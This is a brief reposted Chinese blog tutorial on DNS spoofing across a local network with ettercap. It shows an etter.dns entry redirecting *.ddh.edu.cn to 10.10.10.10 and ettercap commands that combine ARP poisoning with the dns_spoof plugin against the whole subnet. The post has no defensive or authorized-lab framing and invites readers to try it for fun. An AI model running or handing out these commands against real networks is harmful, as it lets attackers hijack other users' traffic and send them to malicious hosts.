ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /// ///
转载至 https://blog.csdn.net/bt517840374/article/details/79991382

首先,编辑/etc/ettercap/etter.dns,里面有Dns记录,

ettercap局域网DNS切换到恶意网址

*.ddh.edu.cn  A  10.10.10.10 

ettercap局域网DNS切换到恶意网址

这个是DNS记录,后面的ip是你想让Dns解析到的ip,能访问到的。

ettercap局域网DNS切换到恶意网址

其次,就可以进行Dns欺骗攻击了

Ettercap -T -q -i eth0(网卡) -P dns_spoof /// ///

ettercap局域网DNS切换到恶意网址

后面的三个斜杆代表全网段,也就是10.10.10.0/24

成功截图

ettercap局域网DNS切换到恶意网址

ettercap局域网DNS切换到恶意网址

觉得挺好玩的,他还是显示的域名,绝对不是hosts文件、浏览器缓存啥的。

You can try it! It's fun

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-05-26
  • 2021-05-22
  • 2022-12-23
  • 2021-06-08
猜你喜欢
  • 2021-04-28
  • 2021-05-08
  • 2021-12-11
  • 2021-12-27
  • 2022-12-23
  • 2021-06-13
  • 2022-01-02
相关资源
相似解决方案